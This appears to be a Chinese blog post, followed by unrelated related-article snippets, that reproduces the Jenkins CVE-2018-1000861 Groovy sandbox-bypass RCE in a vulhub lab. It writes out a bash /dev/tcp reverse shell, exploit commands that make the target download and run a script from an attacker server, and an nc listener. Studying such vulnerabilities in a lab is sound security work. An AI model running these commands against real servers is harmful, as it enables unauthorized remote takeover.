CVE-2018-1000861复现

摘要:
碰巧小组里的一位朋友问了这个问题,然后又重复了一遍。Jenkins使用Stapler框架开发的漏洞描述,该框架允许用户通过URLPATH调用公共方法。由于此过程不受限制,攻击者可以构造一些特殊的PATH来执行一些敏感的Java方法。通过这个漏洞,我们可以找到许多可利用的链。最严重的问题是绕过Groovy沙盒会导致未经授权的用户执行任意命令:Jenkins将在沙盒中执行Groovy之前检查脚本中是否存在错误。检查操作没有沙盒。通过元编程检查此步骤时,攻击者可以执行任意命令。

刚好群里有个朋友问到这个然后就复现了一下

1. 漏洞描述

Jenkins使用Stapler框架开发,其允许用户通过URL PATH来调用一次public方法。由于这个过程没有做限制,攻击者可以构造一些特殊的PATH来执行一些敏感的Java方法。

通过这个漏洞,我们可以找到很多可供利用的利用链。其中最严重的就是绕过Groovy沙盒导致未授权用户可执行任意命令:Jenkins在沙盒中执行Groovy前会先检查脚本是否有错误,检查操作是没有沙盒的,攻击者可以通过Meta-Programming的方式,在检查这个步骤时执行任意命令。

2.环境搭建

直接使用vulhub上的环境

(1) 下载vulhub项目,然后进入到 vulhub/jenkins/CVE-2018-1000861目录下

(2) 执行命令:docker-compose up -d

CVE-2018-1000861复现第1张

(3)访问:http://192.168.222.143:8080/

CVE-2018-1000861复现第2张

3.漏洞复现

此漏洞没有回显,直接利用orange的exp执行命令反弹shell

orang的exp

https://github.com/orangetw/awesome-jenkins-rce-2019

(1).在我们的web服务器写txt文本内容为:

bash -i >& /dev/tcp/*.*.*.*/2333 0>&1

(2).使用exp.py执行以下命令下载文件

python exp.py http://192.168.222.143:8080/ "curl -o /tmp/1.sh http://192.168.0.103:85/1.txt"

(3).然后在我们接收shell的机器上监听之前写的端口

nc -lvvp 2333

(4).直接bash执行我们下载的脚本

python exp.py http://192.168.222.143:8080/ "bash /tmp/1.sh"

(5).回到监听端口的机器

CVE-2018-1000861复现第3张

可以看到已经成功获取到了shell

免责声明:文章转载自《CVE-2018-1000861复现》仅用于学习参考。如对内容有疑问,请及时联系本站处理。

上篇重学mysql之数据表(二)oracle12C的数据库安装下篇

宿迁高防,2C2G15M,22元/月;香港BGP,2C5G5M,25元/月 雨云优惠码:MjYwNzM=

相关文章

阿里云-容器服务之集群服务 k8s(Jenkins+gitlab+k8s的devops)- 01

由于docker官方停止更新Swarm,另外swarm在使用期间出现了很多bug,所以阿里云也在2019年7月发布公告:于2019年12月31日起停止技术支持,请您尽快迁移至容器服务Kubernetes版。 swarm这里不再赘述; 现在阿里云推荐Kubernetes集群服务; 本人从2019年7月开始学习使用,目前服务还是比较稳定,除了有些小问题,在此期...

Jenkins Kubernetes Slave 调度效率优化小记

Jenkins K8S Slave 调度效率优化# by kimmin 使用kubernetes为测试工具Gatling进行大规模压测,压测期间发现Jenkins调度压测实例较慢,单批几百实例需要十分钟左右也不能保证完整调度。 结合Jenkins Master源码 和Jenkins Kubernetes插件源码,对调度进行了细节的优化。调优过程中目标实例...

jenkins邮件-使用变量定制化html邮件报告

jenkins当中邮件插件: Email Extension Plugin jenkins基本使用和邮件配置请参考测试派文章:http://testingpai.com/article/1609225132204 本文着重来讲解: 1)在邮件正文当中,引用邮件插件提供的变量 2)自定义邮件正文的html模板。 最终要达到的效果为: 第一步:查看Email...

.Net Core自动化部署系列(二):使用Jenkins打造镜像发布流水线

一、简介 之前写过一篇关于Jenkins搭配GitLab实现.net core项目自动发布到IIS的博文,比较简单哈,只是个Demo。本篇我们将会使用Jenkins搭配GitLab实现镜像的自动打包和上传,这篇其实是一个铺垫篇,因为后面我们需要使用Jenkins实现kubernetes的发布流水线,即实现镜像的自动化打包和部署。 二、打包镜像 Jenkin...

Jenkins 配置git

点击"新建任务"创建一个自用风格的项目 点击"源码管理",选择 git  系统管理 --> Global Tool Configuration<为访问git服务添加认证-----------------上图 Credential 中的 add> 配置deploy-key 如下配置,jenkins服务器上root用户生成密钥对...

IOS学习之IOS沙盒(sandbox)机制和文件操作

目录: IOS学习之IOS沙盒(sandbox)机制和文件操作(一) IOS学习之IOS沙盒(sandbox)机制和文件操作(二) IOS学习之IOS沙盒(sandbox)机制和文件操作之NSFileManager(三) IOS学习之IOS沙盒(sandbox)机制和文件操作(一) 1、IOS沙盒机制 IOS应用程序只能在为该改程序创建的文件系统中读取文...